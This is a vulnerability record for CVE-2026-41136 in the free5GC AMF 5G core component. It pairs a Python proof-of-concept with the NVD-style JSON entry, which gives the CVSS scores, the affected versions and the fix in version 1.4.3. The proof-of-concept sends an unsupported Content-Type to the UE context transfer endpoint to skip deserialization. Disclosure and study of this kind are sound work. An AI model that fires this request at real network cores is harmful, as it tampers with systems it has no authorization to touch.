CVE-2026-41136

import requests def trigger_vulnerability(target_ip): # Target endpoint based on handler name url = f"http://{target_ip}/namf-comm/v1/ue-contexts/transfer" # Use an unsupported Content-Type to bypass deserialization headers = { "Content-Type": "text/plain" } # Payload content is irrelevant as deserialization is skipped payload = "arbitrary_data" try: response = requests.post(url, headers=headers, data=payload, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: trigger_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-41136", "sourceIdentifier": "[email protected]", "published": "2026-04-22T00:16:29.423", "lastModified": "2026-04-23T19:39:32.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "free5GC AMF provides Access & Mobility Management Function (AMF) for free5GC, an an open-source project for 5th generation (5G) mobile core networks. Prior to version 1.4.3, the `HTTPUEContextTransfer` handler in `internal/sbi/api_communication.go` does not include a `default` case in the `Content-Type` switch statement. When a request arrives with an unsupported `Content-Type`, the deserialization step is silently skipped, `err` remains `nil`, and the processor is invoked with a completely uninitialized `UeContextTransferRequest` object. Version 1.4.3 contains a fix."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-440"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:amf:*:*:*:*:*:go:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "564C38AF-05C1-4D86-809E-47ED1663D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.2.1", "matchCriteriaId": "AA20AB40-343A-4B48-9B29-2A700DEC58B8"}]}]}], "references": [{"url": "https://github.com/free5gc/amf/releases/tag/v1.4.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-r99v-75p9-xqm5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-r99v-75p9-xqm5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}